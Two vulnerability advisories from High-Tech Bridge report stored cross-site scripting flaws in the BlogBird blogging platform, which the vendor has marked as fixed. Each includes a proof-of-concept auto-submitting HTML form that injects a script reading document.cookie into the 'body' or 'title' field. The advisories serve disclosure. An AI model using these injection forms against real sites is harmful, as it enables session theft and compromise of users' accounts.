Vulnerability ID: HTB22647
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird_1.html
Product: BlogBird
Vendor: BlogBird ( http://www.blogbird.nl/)
Vulnerable Version: Current actual version on http://www.blogbird.nl/
Vendor Notification:13 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied inputin"body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://site/elements/save/2648" method="post" name="main"><inputtype="hidden" name="files_id" value="123"><inputtype="hidden" name="type" value="posts"><inputtype="hidden" name="column" value="col1"><inputtype="hidden" name="title" value="post title"><inputtype="hidden" name="element" value="post"><inputtype="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'><inputtype="hidden" name="extended" value=""><inputtype="hidden" name="publish" value="1"><inputtype="hidden" name="page" value="home"><inputtype="hidden" name="author" value="author"><inputtype="hidden" name="tags" value=""></form><script>
document.main.submit();</script>
Solution: Upgrade to the most recent version
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Vulnerability ID: HTB22646
Reference: http://site/advisory/xss_vulnerability_in_blogbird.html
Product: BlogBird
Vendor: BlogBird ( http://www.blogbird.nl/)
Vulnerable Version: Current actual version on http://www.blogbird.nl/
Vendor Notification:13 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the blog setting save script to properly sanitize user-supplied inputin"title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://www.blogbird.nl/settings/save" method="post" name="main"><inputtype="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'><inputtype="hidden" name="description" value=""><inputtype="hidden" name="keywords" value=""><inputtype="hidden" name="language" value="dutch"><inputtype="hidden" name="date_format" value=""><inputtype="hidden" name="per_page" value="0"></form><script>
document.main.submit();</script>
Solution: Upgrade to the most recent version